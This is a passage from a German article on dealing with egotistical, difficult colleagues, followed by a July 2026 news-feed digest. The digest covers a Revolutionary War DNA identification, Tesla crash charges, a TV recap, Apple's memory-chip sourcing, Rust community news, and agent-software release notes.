Abwerten statt Lösen: “So geht es auf keinen Fall!” – Wie gut, dass einer den Mut hat, es auszusprechen – oder? Komischerweise wird diese Aussage bevorzugt in großen Runden und nach eigener Beteiligung bei der Vorbereitung verwendet. Das ist destruktive Doppelzüngigkeit. Konter: “Was genau stört dich heute daran, nachdem Du letztens noch einverstanden warst? Wenn du mir die genauen Gründe nennst, können wir sie hier mit den anderen besprechen.” – Es gibt kaum ein geeigneteres Mittel, inhaltsleeres Schlechtmachen abzustellen, denn echte Argumente sind hier kaum zu erwarten.
Abgrenzen statt Anpacken: “Ich weiß, wie es geht, doch ich packe nicht mit an.” – Es ist doch viel bequemer, nur die Richtung zu weisen, sich jedoch selbst herauszuhalten, denn schließlich müsste sonst geliefert werden. Klappt die Sache, die der Großspurige propagiert, schreibt er sich den Erfolg auf die eigene Fahne. Geht sie schief, wäscht er seine Hände in Unschuld. Konter: “Du hast die Wahl: entweder du bist ganz dabei oder du hältst dich ganz heraus.” – Diese unangemessene Abgrenzung dürfen sich davon Betroffene nicht bieten lassen. Diese Antwort ist daher nicht nur legitim, sondern in einer solchen Situation notwendig.

Es ist an der Zeit, Egoisten Einhalt zu gebieten. Das muss explizit geschehen. Das alleinige Ballen der Faust in der Hosentasche ist nutzlos. Ein guter Teil von ihnen dürfte belehrbar sein, beim anderen Teil ist die Frage nach der Zukunft zu stellen, denn “Destruction by Ego” ist untragbar. (hk)

Die 5 schlimmsten Kollegen

Der Über-Versprecher

Foto: PointImages – shutterstock.com

Speziell in Situationen, in denen immenser Druck herrscht, neigen manche Mitarbeiter dazu, alle möglichen, absurden Versprechungen zu machen. Entweder um Aufmerksamkeit zu erringen oder um dem Vorgesetzten beziehungsweise dem Management zu gefallen. Versprechungen machen ist immer einfach, aber wenn das Mega-Projekt dann eben nicht in den versprochenen zweieinhalb Wochen abgeschlossen ist, ist das ungünstig.

Alexander Maasik empfiehlt: “Wenn es ein Teammitglied gibt, das am laufenden Band falsche Versprechungen gibt, von denen bereits vorher klar ist, dass sie unmöglich einzuhalten sind, sollten Sie seine Worte nicht mehr für bare Münze nehmen. Wenn Sie können, verlängern Sie den Zeitrahmen und/oder erhöhen Sie Budget oder Ressourceneinsatz, um Engpässe in anderen Bereichen kompensieren zu können.”

Der Verantwortungsschieber

Foto: Africa Studio – shutterstock.com

Dann gibt es diese Kollegen, die das Collaboration-Prinzip der geteilten Verantwortung auf ihre ganz eigene Weise interpretieren. Getreu dem Motto: “Die anderen werden es schon richten.” Experte Maasik rät in einem solchen Fall dazu, dem betreffenden Mitarbeiter eine definierte Rolle und spezifizierte Verantwortlichkeiten im Team zuzuweisen. Alternativ könnten Sie den Verantwortungsschieber auch fragen, ob es Bereiche gibt, die ihn besonders interessieren. Eventuell könnten Sie so seine Leistungs-Leidenschaft neu entflammen.

“Manchmal können Sie solche Leute motivieren, indem Sie ihnen Führungsverantwortung übertragen oder ihnen die Verantwortung für ein bestimmtes Gebiet/Thema übertragen, das ihnen am Herzen liegt. Sollte betreffender Kollege allerdings für ausschweifende Arbeitsunlust bekannt sein, hilft unglücklicherweise nur, ihn (oder sie) im Auge zu behalten und sich wenn nötig an höhere Instanzen zu wenden.”

Der Fremdfeder-Connoisseur

Foto: pathdoc – shutterstock.com

Es ist nur menschlich, nach Wertschätzung und Anerkennung zu streben. Aber einige Menschen übertreiben das in einem Ausmaß, dass sie fast schon selbst daran glauben, wenn sie sich fälschlicherweise die Erfolge anderer zuschreiben.

Maasik: “Leider nimmt der Enthusiasmus dieser Leute rasant ab, wenn es darum geht, die Verantwortung für Misserfolge zu übernehmen. Um solchen Entwicklungen entgegenzuwirken, empfiehlt es sich, genau festzuhalten, wer für welchen Part der Projektarbeit zuständig ist. So können auch alle Beteiligten sehen, wer welchen Beitrag leistet. Sollte jemand auf das Einheimsen von Lorbeeren bestehen, stellen Sie sicher, dass derjenige auch im Fall des Misserfolgs sein Fett abbekommt.”

Der Makel-Magnat

Foto: Photographee.eu – shutterstock.com

Nicht führt die Team-Moral schneller und geradliniger in den Abgrund, als einer, der ständig nur kritisiert, auf Fehler “hinweist” oder sich über jeden Aspekt eines Projekts nur beschwert. Egal, ob es um Zuständigkeiten, Workloads oder die Strategie geht, der Makel-Magnat hat einfach immer was zu meckern.

“Dieses Verhalten ist absolutes Gift für das Teamwork. Diese Leute verbringen mehr Zeit damit, sich zu beschweren, als mit der Erfüllung ihrer Aufgaben. Der beste Weg solche Menschen zu handlen: 1. Ignorieren Sie das Gemecker, 2. Geben Sie ihm so viel Verantwortung, dass er (oder sie) keine Zeit mehr hat rumzujammern.”

Der Aussteiger

Foto: YuriyZhuravov – shutterstock.com

Manche Leute arbeiten besser alleine. Ist auch gar kein Problem. Außer es handelt sich um Personen, die in Team-Projekte eingebunden sind. Dann könnte jemand, der Anweisungen aus Prinzip ignoriert und affin für Alleingänge ist, das ganze Projekt auf’s Spiel setzen.

Deswegen empfiehlt auch Alexander Maasik, solche Leute lieber aufs “Abstellgleis” zu befördern: “Finden Sie einen Bereich im Projekt, an dem ein solcher Mitarbeiter alleine arbeiten oder sich selbst verwirklichen kann. So holen Sie das Maximum an Produktivität aus diesem Kollegen heraus und stellen gleichzeitig sicher, dass der Rest des Teams intakt bleibt.”

New DNA Tech Identifies Soldier Killed in America's Revolution in 1780

Sat, 04 Jul 2026 23:53:07 +0200

South Carolina's pine forests "have spent centuries hiding a secret as old as America itself," reports CBS News: In August 1780, British and American soldiers clashed there, leading to a terrible defeat for the Continental army [fighting for the 13 colonies rebelling against England]. Battlefield archaeologists Jim Legg and Steve Smith have been studying the site for decades, but recently, they made a shocking discovery: The sandy soil was home to several sets of remains buried in shallow graves. Metal buttons suggested the men had been Continental soldiers, but there was no other identification... About 2,000 Continental soldiers were killed, wounded or captured, and some men never returned home. Their families could only guess at their fates. But Legg and Smith's discovery, paired with an explosion in DNA technology, is changing what's possible. A set of remains, previously known only as 9B, has been identified as John Pumphrey, a young man from Maryland who enlisted in the Continental Army's 7th Maryland Regiment as young as 13... Pumphrey likely marched more than a thousand miles with the regiment. The unit fought in battles with then-Gen. George Washington in New Jersey and Pennsylvania. Pumphrey likely marched more than a thousand miles with the regiment. The unit fought in battles with then-Gen. George Washington in New Jersey and Pennsylvania. In late June, members of the extended Pumphrey family came together to hear his story and say his name for the first time in centuries. His remains are interred in South Carolina, where he and the other soldiers were discovered, but the tombstone, once marked "Unknown," will soon have his name carved on it.

Read more of this story at Slashdot.

NVIDIA HORIZON: A Hands-Free Agent that Evolves Git Worktrees and Hits 100% RTL Benchmark Completion

Sat, 04 Jul 2026 18:19:16 +0200

A hands-free NVIDIA agent framework hosts each RTL problem as a versioned repository, reaching 100% completion across benchmarks.

The post NVIDIA HORIZON: A Hands-Free Agent that Evolves Git Worktrees and Hits 100% RTL Benchmark Completion appeared first on MarkTechPost.

Tesla driver charged with manslaughter for Texas crash that killed a woman in her home

Sat, 04 Jul 2026 18:03:16 +0200

The incident is also being investigated by the National Highway Traffic Safety Administration.

Sugar Season 2 Latest Episode Recap and Ending Explained

Sat, 04 Jul 2026 11:21:58 +0200

Sugar Season 2 has returned on Apple TV with John Sugar pulled deeper into a dangerous Los Angeles mystery. The latest episode, Season 2 Episode 3, “Watch Face,” follows Sugar after the shooting and pushes the case toward gang violence, police corruption, and Ji Moon’s strange disappearance. Episodes: 8 episodes Genre: Mystery, drama, neo-noir, sci-fi Started airing: June 19, 2026 Finale date: August 7, 2026 Latest episode: Episode 3, “Watch Face,” released July 3, 2026 Spoilers ahead for Sugar Season 2 Episode 3. The episode begins right after Sugar survives the attack on his life. His recovery is quick because of his alien blood treatment, but the shooting makes it clear that someone wants him away from the Ji Moon case. Sugar continues looking into the EZ4 gang and tries to find Guapo, the person linked to the violence around Chuy’s death and Ji’s disappearance. At the same time, Ji finally appears again and contacts Danny, but the meeting goes wrong when Ji mistakes Sugar for a cop and runs away. The ending becomes more intense when Sugar reaches Guapo. Before Sugar can get real answers, a police raid breaks out and Guapo is killed. The biggest clue comes from a watch, which connects the raid to a corrupt officer and suggests that the danger around Ji goes much higher than one gang. The episode ends by making Sugar’s case larger than a missing person mystery. Ji is alive, Danny is being pulled toward a risky boxing opportunity, and Sugar now has stronger reason to believe that the police, the gangs, and the hidden “Fire Sale” thread are connected. Ending Explained The ending shows that Guapo was never the full answer. His death removes one lead, but it also exposes the larger cover-up around the case. The watch is the key detail. It links the violent men around the case to someone inside law enforcement, which means Sugar is not just dealing with street-level crime. He is moving toward a conspiracy that can protect itself from inside the system. Ji running away also matters. He is scared, unstable, and clearly hiding something, but he is not just a victim waiting to be saved. His actions suggest he knows more about the people chasing him, and Danny’s Vegas fight offer may be part of the same trap. FAQs When did Sugar Season 2 Episode 3 release? Sugar Season 2 Episode 3, titled “Watch Face,” released on July 3, 2026, on Apple TV. How many episodes are in Sugar Season 2? Sugar Season 2 has 8 episodes, with new episodes releasing weekly until August 7, 2026. Is Ji Moon alive in Sugar Season 2 Episode 3? Yes, Ji Moon appears alive in Episode 3, but he escapes after thinking Sugar is a cop. What does the watch mean in Sugar Season 2 Episode 3? The watch points toward police corruption and connects the ending to the larger mystery around the “Fire Sale” thread. Sugar Season 2 is streaming on Apple TV in the US, Apple TV costs $12.99 per month after the trial. What do you plan to watch next? Let us know in the comments.

v2.1.200

Fri, 03 Jul 2026 19:03:19 +0200

What's changed

Changed AskUserQuestion dialogs to no longer auto-continue by default; opt into an idle timeout via /config
Changed the "default" permission mode to "Manual" across the CLI, --help, VS Code, and JetBrains; --permission-mode manual and "defaultMode": "manual" are accepted alongside default
Fixed a crash at startup when disabledMcpServers or enabledMcpServers in .claude.json is set to a non-array value
Fixed background sessions silently stopping mid-turn after sleep/wake or when reopening a stalled session
Fixed background sessions re-running a turn cancelled with Esc after a stall respawn
Fixed background agents never starting again after a crash left a stale daemon.lock whose PID the OS reused
Fixed background-agent daemon handover so a reinstalled older build can no longer take over the daemon; build recency is now judged by the version's embedded build timestamp
Fixed background-agent roster issues: transient corruption permanently disabling orphan cleanup, older binaries not preserving fields written by newer versions, and socket auth tokens being stripped during daemon restarts
Fixed subagents cut off by a rate limit before producing any text output returning an empty result instead of failing cleanly
Fixed control bytes from background-agent output reaching the terminal in the agent view
Fixed claude agents --plugin-dir not showing the plugin's agents and skills in the agent view when the flag is placed after agents
Fixed project-scoped plugins not loading correctly from git worktrees of the same repository
Fixed /mcp server list not tracking focus for screen readers and magnifiers
Fixed voice dictation showing a misleading "Voice connection failed" message when a recording captures no audio
Fixed rendering flicker under tmux 3.4+ by enabling synchronized terminal output
Improved screen-reader output: decorative glyphs are now hidden, transcript symbols read as short labels, and nested tables read as Header: value. lines
Improved the install script to explain when installation is killed by the system running out of memory

Tesla driver faces manslaughter charges over Texas crash that killed a woman inside her home

Fri, 03 Jul 2026 00:17:57 +0200

The man whose Tesla struck and killed a woman inside her Texas home last month is now facing manslaughter charges, as reported earlier by The Wall Street Journal and local news outlet KHOU 11. 44-year-old Michael Butler was arrested on Wednesday and claimed to have been driving his Model 3 using Tesla's Full-Self Driving (FSD) […]

Tesla Driver Using Autopilot in Texas Crash Is Charged With Manslaughter

Thu, 02 Jul 2026 23:32:25 +0200

A front-door video camera of the crash, which killed a woman inside her home, showed the Tesla plowing into a house through its driveway.

Cheap Chinese chips could offer way out of RAM price crisis, Apple suggests

Thu, 02 Jul 2026 19:09:55 +0200

The RAM price crisis is pushing hardware manufacturers to pursue deals with Chinese companies, against the wishes of the US government. Apple is one of those reportedly exploring such deals.

“Apple is in negotiations to purchase chips from Chinese semiconductor makers ChangXin Memory Technologies Inc. (CMTI) and Yangtze Memory Technologies Co. (YMTC) to help reduce the impact of a global memory shortage,” Bloomberg reported. “The companies are on a Pentagon blacklist of Chinese entities believed to support Beijing’s military, and Apple’s effort to buy chips from them has included appeals to Trump administration officials to help soften the political fallout,” it said.

Rumors surrounding Apple talking with CMTI and YMTC have been going on for months, with analyst Ming-Chi Kuo pointing to Apple CEO Tim Cook being “one of the few tech leaders who can still navigate both Washington and Beijing, so this is better handled before he steps down as CEO.”

Beyond the potential political ramifications, any deal would have immediate implications for enterprise IT buyers.

“CIOs should focus on the risk that this strategy could introduce. Will Apple be able to thoroughly assess those chips to completely rule out the possibility of trojan horses, backdoors, and hidden functionality such as dead man switches?” asked Flavio Villanustre, CISO for the LexisNexis Risk Solutions Group. “If Apple says that they will do, to what degree of certainty? There have been rumors about hidden backdoors in chips before, such as Supermicro in 2018, ESP32 microcontroller hidden functionality in 2025, and Microsemi backdoor in 2012, to name a few.”

On the naughty list?

This issue gets complicated based on what the US government ultimately does. The two Chinese manufacturers figure on the Pentagon’s so-called 1260H list of “entities identified as Chinese Military Companies,” which also includes Chinese internet giants Alibaba, Baidu, and Tencent; router maker TP-Link Technologies; and drone maker DJI. Being on that list has no real consequences for the companies concerned, but the government could move them to the Department of Commerce’s Entity List, subjecting them to export licensing requirements, or make them the subject of a Section 889 clause, barring them from government procurement deals. That could sharply change the dynamics for Apple and other technology vendors seeking cheaper RAM supplies — and for their customers.

Noah Kenney, principal consultant for Digital 520, said, “Currently, CXMT is only on the Pentagon’s 1260H list, which doesn’t legally bar transactions. Inclusion in the Commerce Department Entity List placement would, which is what Apple is seeking to prevent here.”

He suggested Apple might try to limit blowback by only using the Chinese chips in Apple devices sold in China.

If the government does intensify restrictions and if components from YMTC or CXMT “show up in a customer contract you already signed, a standard-issue device becomes a procurement compliance question. Fleet inventory in MDM will need to track memory sourcing, not just device model. That is a capability most enterprises do not have today,” Kenney said. “The real question for a CIO is not whether Washington pushes back on Apple, but whether their customers will push back for shipping Apple.”

Other vendors use Chinese RAM already

“Lenovo has sourced from Chinese memory makers for years,” as have other manufacturers, Kenney said. “The difference is that they are not lobbying the Treasury Secretary about it.”

Geopolitical analyst Irina Tsukerman said Apple could clear the way for more vendors to use cheaper RAM.

“If Apple absorbs the political criticism and keeps enterprise buyers comfortable, competitors would gain room to consider Chinese memory for selected markets or less sensitive product channels,” Tsukerman said. “If Washington turns Apple into an example, other manufacturers would become more careful around government-facing sales and reserve this kind of sourcing for places where US procurement pressure has less impact.”

Tsukerman agreed with Kenney that IT departments will need to improve component visibility.

“Enterprise CIOs should take this seriously because Apple’s reported sourcing discussions turn a normally invisible component decision into something that can affect procurement credibility, especially for buyers whose technology choices are reviewed through government or regulated-sector requirements,” Tsukerman said.

The lack of a clear product quality issue is what will make this a delicate IT dance, Tsukerman said.

“Engineers could see limited practical danger from memory sourcing alone, and procurement reviewers could still see a serious issue because the supplier has already been placed in a national-security category,” she said.

Cheap Chinese chips could offer way out of RAM price crisis, Apple suggests

Thu, 02 Jul 2026 19:03:30 +0200

The RAM price crisis is pushing hardware manufacturers to pursue deals with Chinese companies, against the wishes of the US government. Apple is one of those reportedly exploring such deals.

Beyond the potential political ramifications, any deal would have immediate implications for enterprise IT buyers.

On the naughty list?

He suggested Apple might try to limit blowback by only using the Chinese chips in Apple devices sold in China.

Other vendors use Chinese RAM already

“Lenovo has sourced from Chinese memory makers for years,” as have other manufacturers, Kenney said. “The difference is that they are not lobbying the Treasury Secretary about it.”

Geopolitical analyst Irina Tsukerman said Apple could clear the way for more vendors to use cheaper RAM.

Tsukerman agreed with Kenney that IT departments will need to improve component visibility.

The lack of a clear product quality issue is what will make this a delicate IT dance, Tsukerman said.

This article first appeared on Network World.

Änderung beim "Fernsehgarten": ZDF plant Sondersendung - mit "Let's Dance"-Moderator

Thu, 02 Jul 2026 18:18:33 +0200

Das ZDF plant zum 40-jährigen Jubiläum eine besondere Ausgabe des Fernsehgartens. Andrea Kiewel gibt dafür die Moderation an Joachim Llambi ab - und schlüpft selbst in eine andere Rolle. Dieser Artikel wurde einsortiert unter ZDF, TV-Serie / Webserie, TV-Sender, Entertainment.

Early Edition: July 2, 2026

Thu, 02 Jul 2026 14:23:21 +0200

Signup to receive the Early Edition in your inbox here. A curated weekday guide to major news and developments over the last 24 hours. Here’s today’s news: RUSSIA-UKRAINE WAR Russian missile and drone strikes in Kyiv and other Ukrainian cities overnight and early this morning killed at least 17 people and wounded more than 90, according […]

The post Early Edition: July 2, 2026 appeared first on Just Security.

Hackers Disable Defender, Sysmon, and WAF Before Dumping Credentials With Mimikatz

Thu, 02 Jul 2026 13:37:53 +0200

The post Hackers Disable Defender, Sysmon, and WAF Before Dumping Credentials With Mimikatz appeared first on IT Security News.

Hackers Disable Defender, Sysmon, and WAF Before Dumping Credentials With Mimikatz

Thu, 02 Jul 2026 12:23:12 +0200

Hackers have found a new way to blind security teams before stealing passwords, and the technique is as thorough as it is alarming. A threat actor recently disabled Microsoft Defender, killed the Sysmon logging tool, and tore down a web application firewall, all before deploying Mimikatz to harvest credentials. The campaign shows how far attackers […]

The post Hackers Disable Defender, Sysmon, and WAF Before Dumping Credentials With Mimikatz appeared first on Cyber Security News.

Rhythm Paradise Groove review – exhilarating bitesize beats test your reflexes

Thu, 02 Jul 2026 10:47:52 +0200

Nintendo/TNX; Nintendo Switch
A joyful collection of vibrant rhythm games includes catching veggies in mid-air, practising dance choreographies and speaking to an alien

It has been a strange decade for the rhythm game genre. The legendary progenitors Rock Band and Guitar Hero are seemingly gone, yet companies are manufacturing plastic guitars again. Tango Gameworks, a studio best known for delivering survival horror hauntings, made Hi-Fi Rush and it ruled, but Microsoft sold the studio. Indie titles such as Sayonara Wild Hearts and Rift of the NecroDancer have done well on the margins, but now Epic Games has swept in, adding a rhythm action mode to Fortnite so now its mainstream again. All these titles have reinforced the ideas laid out by their forefathers: rhythm can intersect with video games as much as it already intersects with our everyday lives.

Few series hold this ethos to heart as strongly as Rhythm Heaven. Dormant since 2015, a new entry, Rhythm Heaven Groove (known as Rhythm Paradise Groove in Pal territories), doubles down on the concept of offering bitesize, rhythm-based experiences where you follow auditive cues to perform all manner of increasingly exhilarating actions with just a few buttons. Whether you’re catching veggies in mid-air, practising dance choreographies, or speaking to an alien, each mini-game is intended to be a vibrant, micro cacophony with its own rules.

This Week In Rust: This Week in Rust 658

Thu, 02 Jul 2026 07:10:00 +0200

Hello and welcome to another issue of This Week in Rust! Rust is a programming language empowering everyone to build reliable and efficient software. This is a weekly summary of its progress and community. Want something mentioned? Tag us at @thisweekinrust.bsky.social on Bluesky or @ThisWeekinRust on mastodon.social, or send us a pull request. Want to get involved? We love contributions.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

Foundation

Rust Foundation Trusted Training Program Launches, Giving Learners a Mark of Quality to Trust

Newsletters

Scientific Computing in Rust #19 (June 2026)

Project/Tooling Updates

Observations/Thoughts

Rust Walkthroughs

Crate of the Week

This week's crate is deconvolution, a image deconvolution and restoration library.

Thanks to pbkx for the self-suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

multicalc - good first issues

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

426 pull requests were merged in the last week

Compiler

Library

Cargo

add -Zhint-msrv flag

Clippy

Rust-Analyzer

Rust Compiler Performance Triage

Overall, the week was fairly neutral, with no meaningful shift on most benchmarks on any of our statistics.

Triage done by @simulacrum. Revision range: 8b6558a0..7dc2c162

2 Regressions, 1 Improvement, 7 Mixed; 5 of them in rollups 34 artifact comparisons made in total

Full report here

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

Rust

Compiler Team (MCPs only)

Language Reference

Fields must fit in the type, even for repr(Rust)

Rust RFCs

Unsafe Code Guidelines

Opsem extension proposal: atomic volatile accesses

No Items entered Final Comment Period this week for Cargo, Language Team or Leadership Council.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

Upcoming Events

Rusty Events between 2026-07-01 - 2026-07-29 🦀

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

I do rather hope anyone using -Zllvm-target-features or any stabilized form thereof would know that they are getting a conversation with the dragon directly and they should mind their words carefully if they do not wish to be barbecued by it and served over a nice plate of iron filings.

– workingjubilee on rust zulip

Thanks to Tomáš Šedovič for the suggestion!

Please submit quotes and vote for next week!

This Week in Rust is edited by:

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

Hermes Agent v0.18.0 (2026.7.1) — The Judgment Release

Wed, 01 Jul 2026 22:16:35 +0200

Hermes Agent v0.18.0 (v2026.7.1)

Release Date: July 1, 2026
Since v0.17.0: ~1,720 commits · 998 merged PRs · 2,215 files changed · ~251,000 insertions · ~41,000 deletions · 949 issues closed · 370+ community contributors

The Judgment Release. Over the last week and a half the team put nearly all of its effort into one goal: resolve every P0 and P1 issue and PR in the entire Hermes Agent repo — and as of this release, 100% of them are closed. Zero open P0s. Zero open P1s. That's ~700 highest-priority items cleared as part of ~1,950 total issues and PRs closed this window. We intend to keep P0/P1 at zero from here on.

On top of that clean-sweep, v0.18.0 is about how well Hermes thinks and how it knows when its work is actually done. Mixture-of-Agents became a first-class citizen — named ensembles of models you can pick like any other model, with every reference model's reasoning shown to you and the aggregator's answer streamed live. The agent learned to verify its own work against evidence instead of vibes, /goal gained completion contracts, and /learn + /journey turned self-improvement into something you can see and steer. Underneath, the gateway became genuinely deployable-at-scale (scale-to-zero, drain coordination), the desktop grew first-class coding projects and a playable memory graph, and subagents can now fan out in the background.

🎯 The P0/P1 Clean Sweep — 100% resolved

This is the release headline. For a week and a half the team hammered the priority backlog day and night, and every single P0 and P1 across the whole repo is now closed:

Priority	Issues closed	PRs merged
P0 (critical)	3	8
P1 (high)	493	188
Total	496	196

That's ~692 highest-priority items resolved in twelve days — and at the moment the sweep completed, the open P0/P1 count hit 0 across the entire repo. The final cluster to fall was the interrupt-protected-compression sibling-fork bug (issue #56391) and its fix (#56416), closed on an all-nighter right before this release cut.

Special shoutout to @kshitijk4poor, who burned through the priority backlog day and night alongside the core team — the cron reliability wave, the compression-fork fix, the credential-exfil hardening, and a huge share of the P1 closures are his.

We're keeping P0/P1 at 0 from here forward. 🫡

✨ Highlights

Mixture-of-Agents is now a first-class model you can pick — MoA used to be a mode you toggled; now every named MoA preset shows up as a selectable model under a moa provider, right alongside Claude, GPT, and Grok in every model picker (CLI, TUI, desktop, gateway). Pick "my-council" the same way you'd pick any model, and Hermes routes your prompt through that ensemble automatically. An ensemble of frontier models deliberating on your hardest questions is now one selection away, on every surface. (#46081, #53548, #53561 — @teknium1)
See every model's reasoning, then watch the answer stream in — When a MoA ensemble runs, each reference model's full output now renders as its own labelled block — you can read what GPT-5 thought, what Claude thought, and what Grok thought, before the aggregator synthesizes them into one answer. And that final answer now streams to you live instead of appearing all at once after a long silence. This works in the CLI, the TUI, and the desktop app. You get to watch the committee deliberate, not just read the verdict. (#53793, #53855, #55625, #56101 — @teknium1)
The agent verifies its own work — "done" means proven, not claimed — Hermes now records verification evidence for coding work and can decide it's finished by actually running your project's checks, not by asserting success. /goal gained completion contracts: you state what "done" looks like, and the standing-goal loop judges completion against that evidence instead of stopping when the model feels like it. There's a pre_verify hook for wiring in custom checks and a one-time migration that tunes the defaults sensibly. The difference between "I think I fixed it" and "the tests pass, here's proof." (#50501, #52285, #55413, #53552 — @teknium1, @OutThisLife)
/learn — turn anything into a reusable skill by describing it — Run /learn and Hermes distills a reusable skill out of whatever you point it at — a directory, a URL, or just the workflow you walked it through five minutes ago. It writes the skill to the standards in your CONTRIBUTING.md automatically. The next time you need that workflow, it's already there. Teaching Hermes a new trick is now a single command, not a manual skill-authoring session. (#51506, #52372 — @teknium1)
/journey — a playable timeline of everything Hermes has learned about you — The CLI and TUI gained /journey, a learning timeline that shows the memories and skills Hermes has accumulated over time — and you can edit or delete any of them right from the view. Pair it with the desktop's new memory graph (a top-down, playable radial timeline of memories and skills) and for the first time you can actually see what your agent knows, watch it grow, and prune what's wrong. Your agent's memory stops being a black box. (#55555, #55859, #55226 — @OutThisLife)
Delegate a pile of work and keep going — background fan-out — delegate_task can now fan out multiple subagents that all run in the background: your chat is never blocked, and when every subagent finishes, their results come back as a single consolidated turn. Kick off "research these five competitors in parallel" or "audit these three modules," then carry on with something else while a small fleet works. When it's all done, you get one clean summary instead of babysitting each one. (#49734 — @teknium1)
First-class coding Projects in the desktop app — The desktop app gained real, per-profile Projects — a sidebar of your codebases, a coding rail, a review pane, git worktree management, and agent-facing project tools, all backed by a proper project → repo → lane model. Instead of scattered chat sessions, your coding work is organized into projects the agent understands and can act on. It's the desktop turning into an actual coding cockpit. (#49037, #54385, #54517 — @OutThisLife)
Run Hermes at scale — scale-to-zero and drain coordination — The gateway can now go dormant when idle and quiesce cleanly before a restart, migration, or auto-update — without dropping in-flight conversations. A hosted or relay-only Hermes can scale to zero when nobody's talking to it and wake back up on demand, and disruptive lifecycle actions coordinate an external drain so nobody gets cut off mid-turn. Running Hermes for a team or as a hosted service just got a lot more production-grade. (#52243, #52937, #54824 — @teknium1, @benbarclay)
Cheaper self-improvement — smarter background review — The post-turn self-improvement fork (the one that decides whether to save a memory or skill) now routes to an auxiliary model, digests context instead of replaying the whole conversation, and adapts its cadence — so the "learn from what just happened" loop that runs after your turns costs a fraction of what it used to. You keep the self-improvement, you stop paying full main-model price for it. (#49252 — @teknium1)
Compose your next prompt in your editor — /prompt — /prompt opens your $EDITOR so you can hand-write a long, multi-line prompt in real markdown instead of fighting a one-line input box. Draft a detailed spec, a structured question, or a big paste, save, and it's queued as your next message. Small thing, huge quality-of-life win for anyone who writes Hermes more than a sentence at a time. (#50509 — @teknium1)
Google Vertex AI — Gemini through your GCP service account, no static key — Vertex AI is now a first-class provider for Gemini models over Vertex's OpenAI-compatible endpoint. The reason a plain custom-provider setup always died mid-session is that Vertex has no static API key — every request needs a short-lived OAuth2 access token (~1h TTL) minted from a service-account JSON or Application Default Credentials. Hermes now mints and auto-refreshes those tokens for you, so if your org runs Gemini through Google Cloud, you point Hermes at your service account and it just works — no token-pasting, no mid-session expiry. (#56363 — @teknium1, @slawt)
Security round — This window hardened several surfaces: MCP-config persistence attack surface locked down, cron base_url overrides that could exfiltrate provider credentials blocked, a non-reusable sentinel for prefix secrets in file reads, Slack app-level (xapp-) token redaction, a browser cloud-metadata floor enforced on every backend, and an aiohttp CVE floor across the lazy messaging paths. Fewer ways for a prompt-injected or misconfigured session to leak a credential. (#50476, #56196, #54166, #56227, #52349, #56237 — @teknium1, @kshitijk4poor, @claudlos)

🧠 Mixture-of-Agents (MoA)

MoA graduated from a mode to a first-class part of the model system this window.

Presets as selectable virtual models — each named MoA preset appears as a model under provider moa; pick it in any model picker and Hermes routes through the ensemble (#46081, #53561, #53775 — @teknium1)
/moa is now one-shot sugar — runs a single prompt through the default preset and restores your model afterward; persistent switching goes through the model picker (#53548 — @teknium1)
Reference-model output shown as labelled blocks in CLI, TUI, and desktop — read each model's reasoning before the aggregator's synthesis (#53793, #53855 — @teknium1)
Aggregator response streams live instead of appearing whole after a silence (#55625 — @teknium1)
References see full tool state and fire on every user/tool response; advisory references end on a user turn and get a reference-role system prompt (#54016, #54007 — @teknium1)
Opt-in full-turn trace persistence to JSONL (moa.save_traces) for debugging and eval (#56101 — @teknium1)
Reliability: reference + aggregator models called through their provider's real route; context window resolved from the aggregator (not the 256K default); auxiliary tasks resolve to the aggregator; virtual provider blocked as a reference/aggregator slot; tolerant of hand-edited preset config (#53580, #53780, #53827, #53281, #53275, #53556 — @teknium1)
MoA slot provider-identity unified on the single call_llm chokepoint; HermesBench results documented (#55991, #53206 — @teknium1)

✅ Verification & Goals — the agent proves its work

Completion contracts for /goal — state what "done" looks like; the standing-goal loop judges against evidence, not the model's say-so (#50501 — @teknium1)
/goal wait — park the standing-goal loop on a background process instead of re-poking the agent (#50503 — @teknium1)
Coding verification evidence ledger — profile-scoped record of canonical project checks detected by agent.coding_context; gateway exposes verification status (#52285, #52286 — @OutThisLife)
pre_verify hook + coding guidance config; verification stop loop + ad-hoc verification scripts (#55413, #52296, #52297 — @OutThisLife)
verify-on-stop defaults OFF with a one-time v32 migration; skips doc-only edits; surface-aware "auto" default restored; gated off for messaging surfaces (#53552, #54740, #55449, #52412 — @teknium1, @OutThisLife, @GodsBoy)

🎓 Self-Improvement (Learn / Journey)

/learn — distill a reusable skill from a directory, URL, or a workflow you just walked through; honors CONTRIBUTING.md skill standards and mixed requirements (#51506, #52372, #55956 — @teknium1)
/journey — CLI + TUI learning timeline of accumulated memories and skills, with in-place edit/delete (#55555, #55859 — @OutThisLife)
Cheaper background review — aux-model routing + context digest + adaptive cadence for the post-turn self-improvement fork (#49252 — @teknium1)
memory graph in the desktop — playable radial timeline of memories + skills over time (#55226 — @OutThisLife)

🖥️ Hermes Desktop App

Coding cockpit

